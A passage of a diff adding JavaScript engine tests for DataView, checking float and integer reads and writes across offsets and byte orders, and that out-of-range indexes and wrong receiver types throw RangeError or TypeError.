testFloatGet expected=1.2300000190734863 + // Little endian + var data3 = [164,112,157,63]; + var data3_r = data3.slice().reverse(); + var buffer3 = new Uint8Array(data3).buffer; + view = new DataView(buffer3, 0, 4); + assertEq(view.getFloat32(0, true), 1.2300000190734863); + var buffer3_pad3 = new Uint8Array(Array(3).concat(data3)).buffer; + view = new DataView(buffer3_pad3, 0, 7); + assertEq(view.getFloat32(3, true), 1.2300000190734863); + var buffer3_pad7 = new Uint8Array(Array(7).concat(data3)).buffer; + view = new DataView(buffer3_pad7, 0, 11); + assertEq(view.getFloat32(7, true), 1.2300000190734863); + var buffer3_pad10 = new Uint8Array(Array(10).concat(data3)).buffer; + view = new DataView(buffer3_pad10, 0, 14); + assertEq(view.getFloat32(10, true), 1.2300000190734863); + // Big endian. + var buffer3_r = new Uint8Array(data3_r).buffer; + view = new DataView(buffer3_r, 0, 4); + assertEq(view.getFloat32(0, false), 1.2300000190734863); + var buffer3_r_pad3 = new Uint8Array(Array(3).concat(data3_r)).buffer; + view = new DataView(buffer3_r_pad3, 0, 7); + assertEq(view.getFloat32(3, false), 1.2300000190734863); + var buffer3_r_pad7 = new Uint8Array(Array(7).concat(data3_r)).buffer; + view = new DataView(buffer3_r_pad7, 0, 11); + assertEq(view.getFloat32(7, false), 1.2300000190734863); + var buffer3_r_pad10 = new Uint8Array(Array(10).concat(data3_r)).buffer; + view = new DataView(buffer3_r_pad10, 0, 14); + assertEq(view.getFloat32(10, false), 1.2300000190734863); + + // testFloatGet expected=-45621.37109375 + // Little endian + var data4 = [95,53,50,199]; + var data4_r = data4.slice().reverse(); + var buffer4 = new Uint8Array(data4).buffer; + view = new DataView(buffer4, 0, 4); + assertEq(view.getFloat32(0, true), -45621.37109375); + var buffer4_pad3 = new Uint8Array(Array(3).concat(data4)).buffer; + view = new DataView(buffer4_pad3, 0, 7); + assertEq(view.getFloat32(3, true), -45621.37109375); + var buffer4_pad7 = new Uint8Array(Array(7).concat(data4)).buffer; + view = new DataView(buffer4_pad7, 0, 11); + assertEq(view.getFloat32(7, true), -45621.37109375); + var buffer4_pad10 = new Uint8Array(Array(10).concat(data4)).buffer; + view = new DataView(buffer4_pad10, 0, 14); + assertEq(view.getFloat32(10, true), -45621.37109375); + // Big endian. + var buffer4_r = new Uint8Array(data4_r).buffer; + view = new DataView(buffer4_r, 0, 4); + assertEq(view.getFloat32(0, false), -45621.37109375); + var buffer4_r_pad3 = new Uint8Array(Array(3).concat(data4_r)).buffer; + view = new DataView(buffer4_r_pad3, 0, 7); + assertEq(view.getFloat32(3, false), -45621.37109375); + var buffer4_r_pad7 = new Uint8Array(Array(7).concat(data4_r)).buffer; + view = new DataView(buffer4_r_pad7, 0, 11); + assertEq(view.getFloat32(7, false), -45621.37109375); + var buffer4_r_pad10 = new Uint8Array(Array(10).concat(data4_r)).buffer; + view = new DataView(buffer4_r_pad10, 0, 14); + assertEq(view.getFloat32(10, false), -45621.37109375); + + // testFloatGet expected=NaN + // Little endian + var data5 = [255,255,255,127]; + var data5_r = data5.slice().reverse(); + var buffer5 = new Uint8Array(data5).buffer; + view = new DataView(buffer5, 0, 4); + assertEq(view.getFloat32(0, true), NaN); + var buffer5_pad3 = new Uint8Array(Array(3).concat(data5)).buffer; + view = new DataView(buffer5_pad3, 0, 7); + assertEq(view.getFloat32(3, true), NaN); + var buffer5_pad7 = new Uint8Array(Array(7).concat(data5)).buffer; + view = new DataView(buffer5_pad7, 0, 11); + assertEq(view.getFloat32(7, true), NaN); + var buffer5_pad10 = new Uint8Array(Array(10).concat(data5)).buffer; + view = new DataView(buffer5_pad10, 0, 14); + assertEq(view.getFloat32(10, true), NaN); + // Big endian. + var buffer5_r = new Uint8Array(data5_r).buffer; + view = new DataView(buffer5_r, 0, 4); + assertEq(view.getFloat32(0, false), NaN); + var buffer5_r_pad3 = new Uint8Array(Array(3).concat(data5_r)).buffer; + view = new DataView(buffer5_r_pad3, 0, 7); + assertEq(view.getFloat32(3, false), NaN); + var buffer5_r_pad7 = new Uint8Array(Array(7).concat(data5_r)).buffer; + view = new DataView(buffer5_r_pad7, 0, 11); + assertEq(view.getFloat32(7, false), NaN); + var buffer5_r_pad10 = new Uint8Array(Array(10).concat(data5_r)).buffer; + view = new DataView(buffer5_r_pad10, 0, 14); + assertEq(view.getFloat32(10, false), NaN); + + // testFloatGet expected=NaN + // Little endian + var data6 = [255,255,255,255]; + var data6_r = data6.slice().reverse(); + var buffer6 = new Uint8Array(data6).buffer; + view = new DataView(buffer6, 0, 4); + assertEq(view.getFloat32(0, true), NaN); + var buffer6_pad3 = new Uint8Array(Array(3).concat(data6)).buffer; + view = new DataView(buffer6_pad3, 0, 7); + assertEq(view.getFloat32(3, true), NaN); + var buffer6_pad7 = new Uint8Array(Array(7).concat(data6)).buffer; + view = new DataView(buffer6_pad7, 0, 11); + assertEq(view.getFloat32(7, true), NaN); + var buffer6_pad10 = new Uint8Array(Array(10).concat(data6)).buffer; + view = new DataView(buffer6_pad10, 0, 14); + assertEq(view.getFloat32(10, true), NaN); + // Big endian. + var buffer6_r = new Uint8Array(data6_r).buffer; + view = new DataView(buffer6_r, 0, 4); + assertEq(view.getFloat32(0, false), NaN); + var buffer6_r_pad3 = new Uint8Array(Array(3).concat(data6_r)).buffer; + view = new DataView(buffer6_r_pad3, 0, 7); + assertEq(view.getFloat32(3, false), NaN); + var buffer6_r_pad7 = new Uint8Array(Array(7).concat(data6_r)).buffer; + view = new DataView(buffer6_r_pad7, 0, 11); + assertEq(view.getFloat32(7, false), NaN); + var buffer6_r_pad10 = new Uint8Array(Array(10).concat(data6_r)).buffer; + view = new DataView(buffer6_r_pad10, 0, 14); + assertEq(view.getFloat32(10, false), NaN); + + // testFloatGet expected=10 + // Little endian + var data7 = [0,0,0,0,0,0,36,64]; + var data7_r = data7.slice().reverse(); + var buffer7 = new Uint8Array(data7).buffer; + view = new DataView(buffer7, 0, 8); + assertEq(view.getFloat64(0, true), 10); + var buffer7_pad3 = new Uint8Array(Array(3).concat(data7)).buffer; + view = new DataView(buffer7_pad3, 0, 11); + assertEq(view.getFloat64(3, true), 10); + var buffer7_pad7 = new Uint8Array(Array(7).concat(data7)).buffer; + view = new DataView(buffer7_pad7, 0, 15); + assertEq(view.getFloat64(7, true), 10); + var buffer7_pad10 = new Uint8Array(Array(10).concat(data7)).buffer; + view = new DataView(buffer7_pad10, 0, 18); + assertEq(view.getFloat64(10, true), 10); + // Big endian. + var buffer7_r = new Uint8Array(data7_r).buffer; + view = new DataView(buffer7_r, 0, 8); + assertEq(view.getFloat64(0, false), 10); + var buffer7_r_pad3 = new Uint8Array(Array(3).concat(data7_r)).buffer; + view = new DataView(buffer7_r_pad3, 0, 11); + assertEq(view.getFloat64(3, false), 10); + var buffer7_r_pad7 = new Uint8Array(Array(7).concat(data7_r)).buffer; + view = new DataView(buffer7_r_pad7, 0, 15); + assertEq(view.getFloat64(7, false), 10); + var buffer7_r_pad10 = new Uint8Array(Array(10).concat(data7_r)).buffer; + view = new DataView(buffer7_r_pad10, 0, 18); + assertEq(view.getFloat64(10, false), 10); + + // testFloatGet expected=1.23 + // Little endian + var data8 = [174,71,225,122,20,174,243,63]; + var data8_r = data8.slice().reverse(); + var buffer8 = new Uint8Array(data8).buffer; + view = new DataView(buffer8, 0, 8); + assertEq(view.getFloat64(0, true), 1.23); + var buffer8_pad3 = new Uint8Array(Array(3).concat(data8)).buffer; + view = new DataView(buffer8_pad3, 0, 11); + assertEq(view.getFloat64(3, true), 1.23); + var buffer8_pad7 = new Uint8Array(Array(7).concat(data8)).buffer; + view = new DataView(buffer8_pad7, 0, 15); + assertEq(view.getFloat64(7, true), 1.23); + var buffer8_pad10 = new Uint8Array(Array(10).concat(data8)).buffer; + view = new DataView(buffer8_pad10, 0, 18); + assertEq(view.getFloat64(10, true), 1.23); + // Big endian. + var buffer8_r = new Uint8Array(data8_r).buffer; + view = new DataView(buffer8_r, 0, 8); + assertEq(view.getFloat64(0, false), 1.23); + var buffer8_r_pad3 = new Uint8Array(Array(3).concat(data8_r)).buffer; + view = new DataView(buffer8_r_pad3, 0, 11); + assertEq(view.getFloat64(3, false), 1.23); + var buffer8_r_pad7 = new Uint8Array(Array(7).concat(data8_r)).buffer; + view = new DataView(buffer8_r_pad7, 0, 15); + assertEq(view.getFloat64(7, false), 1.23); + var buffer8_r_pad10 = new Uint8Array(Array(10).concat(data8_r)).buffer; + view = new DataView(buffer8_r_pad10, 0, 18); + assertEq(view.getFloat64(10, false), 1.23); + + // testFloatGet expected=-6213576.4839 + // Little endian + var data9 = [181,55,248,30,242,179,87,193]; + var data9_r = data9.slice().reverse(); + var buffer9 = new Uint8Array(data9).buffer; + view = new DataView(buffer9, 0, 8); + assertEq(view.getFloat64(0, true), -6213576.4839); + var buffer9_pad3 = new Uint8Array(Array(3).concat(data9)).buffer; + view = new DataView(buffer9_pad3, 0, 11); + assertEq(view.getFloat64(3, true), -6213576.4839); + var buffer9_pad7 = new Uint8Array(Array(7).concat(data9)).buffer; + view = new DataView(buffer9_pad7, 0, 15); + assertEq(view.getFloat64(7, true), -6213576.4839); + var buffer9_pad10 = new Uint8Array(Array(10).concat(data9)).buffer; + view = new DataView(buffer9_pad10, 0, 18); + assertEq(view.getFloat64(10, true), -6213576.4839); + // Big endian. + var buffer9_r = new Uint8Array(data9_r).buffer; + view = new DataView(buffer9_r, 0, 8); + assertEq(view.getFloat64(0, false), -6213576.4839); + var buffer9_r_pad3 = new Uint8Array(Array(3).concat(data9_r)).buffer; + view = new DataView(buffer9_r_pad3, 0, 11); + assertEq(view.getFloat64(3, false), -6213576.4839); + var buffer9_r_pad7 = new Uint8Array(Array(7).concat(data9_r)).buffer; + view = new DataView(buffer9_r_pad7, 0, 15); + assertEq(view.getFloat64(7, false), -6213576.4839); + var buffer9_r_pad10 = new Uint8Array(Array(10).concat(data9_r)).buffer; + view = new DataView(buffer9_r_pad10, 0, 18); + assertEq(view.getFloat64(10, false), -6213576.4839); + + // testFloatGet expected=NaN + // Little endian + var data10 = [255,255,255,255,255,255,255,127]; + var data10_r = data10.slice().reverse(); + var buffer10 = new Uint8Array(data10).buffer; + view = new DataView(buffer10, 0, 8); + assertEq(view.getFloat64(0, true), NaN); + var buffer10_pad3 = new Uint8Array(Array(3).concat(data10)).buffer; + view = new DataView(buffer10_pad3, 0, 11); + assertEq(view.getFloat64(3, true), NaN); + var buffer10_pad7 = new Uint8Array(Array(7).concat(data10)).buffer; + view = new DataView(buffer10_pad7, 0, 15); + assertEq(view.getFloat64(7, true), NaN); + var buffer10_pad10 = new Uint8Array(Array(10).concat(data10)).buffer; + view = new DataView(buffer10_pad10, 0, 18); + assertEq(view.getFloat64(10, true), NaN); + // Big endian. + var buffer10_r = new Uint8Array(data10_r).buffer; + view = new DataView(buffer10_r, 0, 8); + assertEq(view.getFloat64(0, false), NaN); + var buffer10_r_pad3 = new Uint8Array(Array(3).concat(data10_r)).buffer; + view = new DataView(buffer10_r_pad3, 0, 11); + assertEq(view.getFloat64(3, false), NaN); + var buffer10_r_pad7 = new Uint8Array(Array(7).concat(data10_r)).buffer; + view = new DataView(buffer10_r_pad7, 0, 15); + assertEq(view.getFloat64(7, false), NaN); + var buffer10_r_pad10 = new Uint8Array(Array(10).concat(data10_r)).buffer; + view = new DataView(buffer10_r_pad10, 0, 18); + assertEq(view.getFloat64(10, false), NaN); + + // testFloatGet expected=NaN + // Little endian + var data11 = [255,255,255,255,255,255,255,255]; + var data11_r = data11.slice().reverse(); + var buffer11 = new Uint8Array(data11).buffer; + view = new DataView(buffer11, 0, 8); + assertEq(view.getFloat64(0, true), NaN); + var buffer11_pad3 = new Uint8Array(Array(3).concat(data11)).buffer; + view = new DataView(buffer11_pad3, 0, 11); + assertEq(view.getFloat64(3, true), NaN); + var buffer11_pad7 = new Uint8Array(Array(7).concat(data11)).buffer; + view = new DataView(buffer11_pad7, 0, 15); + assertEq(view.getFloat64(7, true), NaN); + var buffer11_pad10 = new Uint8Array(Array(10).concat(data11)).buffer; + view = new DataView(buffer11_pad10, 0, 18); + assertEq(view.getFloat64(10, true), NaN); + // Big endian. + var buffer11_r = new Uint8Array(data11_r).buffer; + view = new DataView(buffer11_r, 0, 8); + assertEq(view.getFloat64(0, false), NaN); + var buffer11_r_pad3 = new Uint8Array(Array(3).concat(data11_r)).buffer; + view = new DataView(buffer11_r_pad3, 0, 11); + assertEq(view.getFloat64(3, false), NaN); + var buffer11_r_pad7 = new Uint8Array(Array(7).concat(data11_r)).buffer; + view = new DataView(buffer11_r_pad7, 0, 15); + assertEq(view.getFloat64(7, false), NaN); + var buffer11_r_pad10 = new Uint8Array(Array(10).concat(data11_r)).buffer; + view = new DataView(buffer11_r_pad10, 0, 18); + assertEq(view.getFloat64(10, false), NaN); + + // testIntegerGets(start=3, length=2) + var data12 = [31,32,33,0,1,2,3,100,101,102,103,128,129,130,131,252,253,254,255]; + var data12_r = data12.slice().reverse(); + var buffer12 = new Uint8Array(data12).buffer; + view = new DataView(buffer12, 3, 2); + assertEq(view.getInt8(0), 0); + checkThrow(() => view.getInt8(8), RangeError); + checkThrow(() => view.getInt8(15), RangeError); + assertEq(view.getUint8(0), 0); + checkThrow(() => view.getUint8(8), RangeError); + checkThrow(() => view.getUint8(15), RangeError); + // Little endian. + assertEq(view.getInt16(0, true), 256); + checkThrow(() => view.getInt16(5, true), RangeError); + checkThrow(() => view.getInt16(9, true), RangeError); + checkThrow(() => view.getInt16(14, true), RangeError); + // Big endian. + assertEq(view.getInt16(0), 1); + checkThrow(() => view.getInt16(5), RangeError); + checkThrow(() => view.getInt16(9), RangeError); + checkThrow(() => view.getInt16(14), RangeError); + // Little endian. + assertEq(view.getUint16(0, true), 256); + checkThrow(() => view.getUint16(5, true), RangeError); + checkThrow(() => view.getUint16(9, true), RangeError); + checkThrow(() => view.getUint16(14, true), RangeError); + // Big endian. + assertEq(view.getUint16(0), 1); + checkThrow(() => view.getUint16(5), RangeError); + checkThrow(() => view.getUint16(9), RangeError); + checkThrow(() => view.getUint16(14), RangeError); + // Little endian. + checkThrow(() => view.getInt32(0, true), RangeError); + checkThrow(() => view.getInt32(3, true), RangeError); + checkThrow(() => view.getInt32(6, true), RangeError); + checkThrow(() => view.getInt32(9, true), RangeError); + checkThrow(() => view.getInt32(12, true), RangeError); + // Big endian. + checkThrow(() => view.getInt32(0), RangeError); + checkThrow(() => view.getInt32(3), RangeError); + checkThrow(() => view.getInt32(6), RangeError); + checkThrow(() => view.getInt32(9), RangeError); + checkThrow(() => view.getInt32(12), RangeError); + // Little endian. + checkThrow(() => view.getUint32(0, true), RangeError); + checkThrow(() => view.getUint32(3, true), RangeError); + checkThrow(() => view.getUint32(6, true), RangeError); + checkThrow(() => view.getUint32(9, true), RangeError); + checkThrow(() => view.getUint32(12, true), RangeError); + // Big endian. + checkThrow(() => view.getUint32(0), RangeError); + checkThrow(() => view.getUint32(3), RangeError); + checkThrow(() => view.getUint32(6), RangeError); + checkThrow(() => view.getUint32(9), RangeError); + checkThrow(() => view.getUint32(12), RangeError); + + // testFloatGets(start=3) + + // testFloatGet expected=10 + // Little endian + view = new DataView(buffer2, 3, 1); + checkThrow(() => view.getFloat32(0, true), RangeError); + view = new DataView(buffer2_pad3, 3, 4); + checkThrow(() => view.getFloat32(3, true), RangeError); + view = new DataView(buffer2_pad7, 3, 8); + checkThrow(() => view.getFloat32(7, true), RangeError); + view = new DataView(buffer2_pad10, 3, 11); + checkThrow(() => view.getFloat32(10, true), RangeError); + // Big endian. + view = new DataView(buffer2_r, 3, 1); + checkThrow(() => view.getFloat32(0, false), RangeError); + view = new DataView(buffer2_r_pad3, 3, 4); + checkThrow(() => view.getFloat32(3, false), RangeError); + view = new DataView(buffer2_r_pad7, 3, 8); + checkThrow(() => view.getFloat32(7, false), RangeError); + view = new DataView(buffer2_r_pad10, 3, 11); + checkThrow(() => view.getFloat32(10, false), RangeError); + + // testFloatGet expected=1.2300000190734863 + // Little endian + view = new DataView(buffer3, 3, 1); + checkThrow(() => view.getFloat32(0, true), RangeError); + view = new DataView(buffer3_pad3, 3, 4); + checkThrow(() => view.getFloat32(3, true), RangeError); + view = new DataView(buffer3_pad7, 3, 8); + checkThrow(() => view.getFloat32(7, true), RangeError); + view = new DataView(buffer3_pad10, 3, 11); + checkThrow(() => view.getFloat32(10, true), RangeError); + // Big endian. + view = new DataView(buffer3_r, 3, 1); + checkThrow(() => view.getFloat32(0, false), RangeError); + view = new DataView(buffer3_r_pad3, 3, 4); + checkThrow(() => view.getFloat32(3, false), RangeError); + view = new DataView(buffer3_r_pad7, 3, 8); + checkThrow(() => view.getFloat32(7, false), RangeError); + view = new DataView(buffer3_r_pad10, 3, 11); + checkThrow(() => view.getFloat32(10, false), RangeError); + + // testFloatGet expected=-45621.37109375 + // Little endian + view = new DataView(buffer4, 3, 1); + checkThrow(() => view.getFloat32(0, true), RangeError); + view = new DataView(buffer4_pad3, 3, 4); + checkThrow(() => view.getFloat32(3, true), RangeError); + view = new DataView(buffer4_pad7, 3, 8); + checkThrow(() => view.getFloat32(7, true), RangeError); + view = new DataView(buffer4_pad10, 3, 11); + checkThrow(() => view.getFloat32(10, true), RangeError); + // Big endian. + view = new DataView(buffer4_r, 3, 1); + checkThrow(() => view.getFloat32(0, false), RangeError); + view = new DataView(buffer4_r_pad3, 3, 4); + checkThrow(() => view.getFloat32(3, false), RangeError); + view = new DataView(buffer4_r_pad7, 3, 8); + checkThrow(() => view.getFloat32(7, false), RangeError); + view = new DataView(buffer4_r_pad10, 3, 11); + checkThrow(() => view.getFloat32(10, false), RangeError); + + // testFloatGet expected=NaN + // Little endian + view = new DataView(buffer5, 3, 1); + checkThrow(() => view.getFloat32(0, true), RangeError); + view = new DataView(buffer5_pad3, 3, 4); + checkThrow(() => view.getFloat32(3, true), RangeError); + view = new DataView(buffer5_pad7, 3, 8); + checkThrow(() => view.getFloat32(7, true), RangeError); + view = new DataView(buffer5_pad10, 3, 11); + checkThrow(() => view.getFloat32(10, true), RangeError); + // Big endian. + view = new DataView(buffer5_r, 3, 1); + checkThrow(() => view.getFloat32(0, false), RangeError); + view = new DataView(buffer5_r_pad3, 3, 4); + checkThrow(() => view.getFloat32(3, false), RangeError); + view = new DataView(buffer5_r_pad7, 3, 8); + checkThrow(() => view.getFloat32(7, false), RangeError); + view = new DataView(buffer5_r_pad10, 3, 11); + checkThrow(() => view.getFloat32(10, false), RangeError); + + // testFloatGet expected=NaN + // Little endian + view = new DataView(buffer6, 3, 1); + checkThrow(() => view.getFloat32(0, true), RangeError); + view = new DataView(buffer6_pad3, 3, 4); + checkThrow(() => view.getFloat32(3, true), RangeError); + view = new DataView(buffer6_pad7, 3, 8); + checkThrow(() => view.getFloat32(7, true), RangeError); + view = new DataView(buffer6_pad10, 3, 11); + checkThrow(() => view.getFloat32(10, true), RangeError); + // Big endian. + view = new DataView(buffer6_r, 3, 1); + checkThrow(() => view.getFloat32(0, false), RangeError); + view = new DataView(buffer6_r_pad3, 3, 4); + checkThrow(() => view.getFloat32(3, false), RangeError); + view = new DataView(buffer6_r_pad7, 3, 8); + checkThrow(() => view.getFloat32(7, false), RangeError); + view = new DataView(buffer6_r_pad10, 3, 11); + checkThrow(() => view.getFloat32(10, false), RangeError); + + // testFloatGet expected=10 + // Little endian + view = new DataView(buffer7, 3, 5); + checkThrow(() => view.getFloat64(0, true), RangeError); + view = new DataView(buffer7_pad3, 3, 8); + checkThrow(() => view.getFloat64(3, true), RangeError); + view = new DataView(buffer7_pad7, 3, 12); + checkThrow(() => view.getFloat64(7, true), RangeError); + view = new DataView(buffer7_pad10, 3, 15); + checkThrow(() => view.getFloat64(10, true), RangeError); + // Big endian. + view = new DataView(buffer7_r, 3, 5); + checkThrow(() => view.getFloat64(0, false), RangeError); + view = new DataView(buffer7_r_pad3, 3, 8); + checkThrow(() => view.getFloat64(3, false), RangeError); + view = new DataView(buffer7_r_pad7, 3, 12); + checkThrow(() => view.getFloat64(7, false), RangeError); + view = new DataView(buffer7_r_pad10, 3, 15); + checkThrow(() => view.getFloat64(10, false), RangeError); + + // testFloatGet expected=1.23 + // Little endian + view = new DataView(buffer8, 3, 5); + checkThrow(() => view.getFloat64(0, true), RangeError); + view = new DataView(buffer8_pad3, 3, 8); + checkThrow(() => view.getFloat64(3, true), RangeError); + view = new DataView(buffer8_pad7, 3, 12); + checkThrow(() => view.getFloat64(7, true), RangeError); + view = new DataView(buffer8_pad10, 3, 15); + checkThrow(() => view.getFloat64(10, true), RangeError); + // Big endian. + view = new DataView(buffer8_r, 3, 5); + checkThrow(() => view.getFloat64(0, false), RangeError); + view = new DataView(buffer8_r_pad3, 3, 8); + checkThrow(() => view.getFloat64(3, false), RangeError); + view = new DataView(buffer8_r_pad7, 3, 12); + checkThrow(() => view.getFloat64(7, false), RangeError); + view = new DataView(buffer8_r_pad10, 3, 15); + checkThrow(() => view.getFloat64(10, false), RangeError); + + // testFloatGet expected=-6213576.4839 + // Little endian + view = new DataView(buffer9, 3, 5); + checkThrow(() => view.getFloat64(0, true), RangeError); + view = new DataView(buffer9_pad3, 3, 8); + checkThrow(() => view.getFloat64(3, true), RangeError); + view = new DataView(buffer9_pad7, 3, 12); + checkThrow(() => view.getFloat64(7, true), RangeError); + view = new DataView(buffer9_pad10, 3, 15); + checkThrow(() => view.getFloat64(10, true), RangeError); + // Big endian. + view = new DataView(buffer9_r, 3, 5); + checkThrow(() => view.getFloat64(0, false), RangeError); + view = new DataView(buffer9_r_pad3, 3, 8); + checkThrow(() => view.getFloat64(3, false), RangeError); + view = new DataView(buffer9_r_pad7, 3, 12); + checkThrow(() => view.getFloat64(7, false), RangeError); + view = new DataView(buffer9_r_pad10, 3, 15); + checkThrow(() => view.getFloat64(10, false), RangeError); + + // testFloatGet expected=NaN + // Little endian + view = new DataView(buffer10, 3, 5); + checkThrow(() => view.getFloat64(0, true), RangeError); + view = new DataView(buffer10_pad3, 3, 8); + checkThrow(() => view.getFloat64(3, true), RangeError); + view = new DataView(buffer10_pad7, 3, 12); + checkThrow(() => view.getFloat64(7, true), RangeError); + view = new DataView(buffer10_pad10, 3, 15); + checkThrow(() => view.getFloat64(10, true), RangeError); + // Big endian. + view = new DataView(buffer10_r, 3, 5); + checkThrow(() => view.getFloat64(0, false), RangeError); + view = new DataView(buffer10_r_pad3, 3, 8); + checkThrow(() => view.getFloat64(3, false), RangeError); + view = new DataView(buffer10_r_pad7, 3, 12); + checkThrow(() => view.getFloat64(7, false), RangeError); + view = new DataView(buffer10_r_pad10, 3, 15); + checkThrow(() => view.getFloat64(10, false), RangeError); + + // testFloatGet expected=NaN + // Little endian + view = new DataView(buffer11, 3, 5); + checkThrow(() => view.getFloat64(0, true), RangeError); + view = new DataView(buffer11_pad3, 3, 8); + checkThrow(() => view.getFloat64(3, true), RangeError); + view = new DataView(buffer11_pad7, 3, 12); + checkThrow(() => view.getFloat64(7, true), RangeError); + view = new DataView(buffer11_pad10, 3, 15); + checkThrow(() => view.getFloat64(10, true), RangeError); + // Big endian. + view = new DataView(buffer11_r, 3, 5); + checkThrow(() => view.getFloat64(0, false), RangeError); + view = new DataView(buffer11_r_pad3, 3, 8); + checkThrow(() => view.getFloat64(3, false), RangeError); + view = new DataView(buffer11_r_pad7, 3, 12); + checkThrow(() => view.getFloat64(7, false), RangeError); + view = new DataView(buffer11_r_pad10, 3, 15); + checkThrow(() => view.getFloat64(10, false), RangeError); + + // testGetNegativeIndexes + view = new DataView(buffer1, 0, 16); + checkThrow(() => view.getInt8(-1), RangeError); + checkThrow(() => view.getInt8(-2), RangeError); + checkThrow(() => view.getUint8(-1), RangeError); + checkThrow(() => view.getUint8(-2), RangeError); + checkThrow(() => view.getInt16(-1), RangeError); + checkThrow(() => view.getInt16(-2), RangeError); + checkThrow(() => view.getInt16(-3), RangeError); + checkThrow(() => view.getUint16(-1), RangeError); + checkThrow(() => view.getUint16(-2), RangeError); + checkThrow(() => view.getUint16(-3), RangeError); + checkThrow(() => view.getInt32(-1), RangeError); + checkThrow(() => view.getInt32(-3), RangeError); + checkThrow(() => view.getInt32(-5), RangeError); + checkThrow(() => view.getUint32(-1), RangeError); + checkThrow(() => view.getUint32(-3), RangeError); + checkThrow(() => view.getUint32(-5), RangeError); + view = new DataView(buffer7, 0, 8); + checkThrow(() => view.getFloat32(-1), RangeError); + checkThrow(() => view.getFloat32(-3), RangeError); + checkThrow(() => view.getFloat32(-5), RangeError); + checkThrow(() => view.getFloat64(-1), RangeError); + checkThrow(() => view.getFloat64(-5), RangeError); + checkThrow(() => view.getFloat64(-9), RangeError); + + // Too large for signed 32 bit integer index + checkThrow(() => view.getInt8(2147483648), RangeError); + checkThrow(() => view.getInt8(2147483649), RangeError); + checkThrow(() => view.getUint8(2147483648), RangeError); + checkThrow(() => view.getUint8(2147483649), RangeError); + checkThrow(() => view.getInt16(2147483648), RangeError); + checkThrow(() => view.getInt16(2147483649), RangeError); + checkThrow(() => view.getUint16(2147483648), RangeError); + checkThrow(() => view.getUint16(2147483649), RangeError); + checkThrow(() => view.getInt32(2147483648), RangeError); + checkThrow(() => view.getInt32(2147483649), RangeError); + checkThrow(() => view.getUint32(2147483648), RangeError); + checkThrow(() => view.getUint32(2147483649), RangeError); + checkThrow(() => view.getFloat32(2147483648), RangeError); + checkThrow(() => view.getFloat32(2147483649), RangeError); + checkThrow(() => view.getFloat64(2147483648), RangeError); + checkThrow(() => view.getFloat64(2147483649), RangeError); + + // Test for wrong type of |this| + checkThrow(() => view.getInt8.apply("dead", [0]), TypeError); + checkThrow(() => view.getUint8.apply("puppies", [0]), TypeError); + checkThrow(() => view.getInt16.apply("aren", [0]), TypeError); + checkThrow(() => view.getUint16.apply("t", [0]), TypeError); + checkThrow(() => view.getInt32.apply("much", [0]), TypeError); + checkThrow(() => view.getUint32.apply("fun", [0]), TypeError); + checkThrow(() => view.getFloat32.apply("(in", [0]), TypeError); + checkThrow(() => view.getFloat64.apply("bed)", [0]), TypeError); + checkThrow(() => view.setInt8.apply("dead", [0, 0]), TypeError); + checkThrow(() => view.setUint8.apply("puppies", [0, 0]), TypeError); + checkThrow(() => view.setInt16.apply("aren", [0, 0]), TypeError); + checkThrow(() => view.setUint16.apply("t", [0, 0]), TypeError); + checkThrow(() => view.setInt32.apply("much", [0, 0]), TypeError); + checkThrow(() => view.setUint32.apply("fun", [0, 0]), TypeError); + checkThrow(() => view.setFloat32.apply("(in", [0, 0]), TypeError); + checkThrow(() => view.setFloat64.apply("bed)", [0, 0]), TypeError); + + // testSetMethods + + // Test for set methods that work + + // testIntegerSets(start=0, length=16) + var data13 = [204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204]; + var data13_r = data13.slice().reverse(); + var buffer13 = new Uint8Array(data13).buffer; + view = new DataView(buffer13, 0, 16); + view.setInt8(0, 0); + assertEq(view.getInt8(0), 0); + view.setInt8(8, -128); + assertEq(view.getInt8(8), -128); + view.setInt8(15, -1); + assertEq(view.getInt8(15), -1); + view.setUint8(0, 0); + assertEq(view.getUint8(0), 0); + view.setUint8(8, 128); + assertEq(view.getUint8(8), 128); + view.setUint8(15, 255); + assertEq(view.getUint8(15), 255); + view.setInt16(0, 256, true); + assertEq(view.getInt16(0, true), 256); + view.setInt16(5, 26213, true); + assertEq(view.getInt16(5, true), 26213); + view.setInt16(9, -32127, true); + assertEq(view.getInt16(9, true), -32127); + view.setInt16(14, -2, true); + assertEq(view.getInt16(14, true), -2); + view.setInt16(0, 1); + assertEq(view.getInt16(0), 1); + view.setInt16(5, 25958); + assertEq(view.getInt16(5), 25958); + view.setInt16(9, -32382); + assertEq(view.getInt16(9), -32382); + view.setInt16(14, -257); + assertEq(view.getInt16(14), -257); + view.setUint16(0, 256, true); + assertEq(view.getUint16(0, true), 256); + view.setUint16(5, 26213, true); + assertEq(view.getUint16(5, true), 26213); + view.setUint16(9, 33409, true); + assertEq(view.getUint16(9, true), 33409); + view.setUint16(14, 65534, true); + assertEq(view.getUint16(14, true), 65534); + view.setUint16(0, 1); + assertEq(view.getUint16(0), 1); + view.setUint16(5, 25958); + assertEq(view.getUint16(5), 25958); + view.setUint16(9, 33154); + assertEq(view.getUint16(9), 33154); + view.setUint16(14, 65279); + assertEq(view.getUint16(14), 65279); + view.setInt32(0, 50462976, true); + assertEq(view.getInt32(0, true), 50462976); + view.setInt32(3, 1717920771, true); + assertEq(view.getInt32(3, true), 1717920771); + view.setInt32(6, -2122291354, true); + assertEq(view.getInt32(6, true), -2122291354); + view.setInt32(9, -58490239, true); + assertEq(view.getInt32(9, true), -58490239); + view.setInt32(12, -66052, true); + assertEq(view.getInt32(12, true), -66052); + view.setInt32(0, 66051); + assertEq(view.getInt32(0), 66051); + view.setInt32(3, 56911206); + assertEq(view.getInt32(3), 56911206); + view.setInt32(6, 1718059137); + assertEq(view.getInt32(6), 1718059137); + view.setInt32(9, -2122152964); + assertEq(view.getInt32(9), -2122152964); + view.setInt32(12, -50462977); + assertEq(view.getInt32(12), -50462977); + view.setUint32(0, 50462976, true); + assertEq(view.getUint32(0, true), 50462976); + view.setUint32(3, 1717920771, true); + assertEq(view.getUint32(3, true), 1717920771); + view.setUint32(6, 2172675942, true); + assertEq(view.getUint32(6, true), 2172675942); + view.setUint32(9, 4236477057, true); + assertEq(view.getUint32(9, true), 4236477057); + view.setUint32(12, 4294901244, true); + assertEq(view.getUint32(12, true), 4294901244); + view.setUint32(0, 66051); + assertEq(view.getUint32(0), 66051); + view.setUint32(3, 56911206); + assertEq(view.getUint32(3), 56911206); + view.setUint32(6, 1718059137); + assertEq(view.getUint32(6), 1718059137); + view.setUint32(9, 2172814332); + assertEq(view.getUint32(9), 2172814332); + 